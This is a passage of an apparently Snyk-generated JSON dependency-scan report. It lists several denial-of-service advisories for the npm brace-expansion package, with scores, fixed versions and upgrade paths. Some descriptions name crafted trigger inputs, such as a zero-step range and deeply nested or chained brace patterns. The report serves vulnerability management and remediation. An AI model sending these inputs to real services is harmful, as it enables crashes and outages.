{ "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", 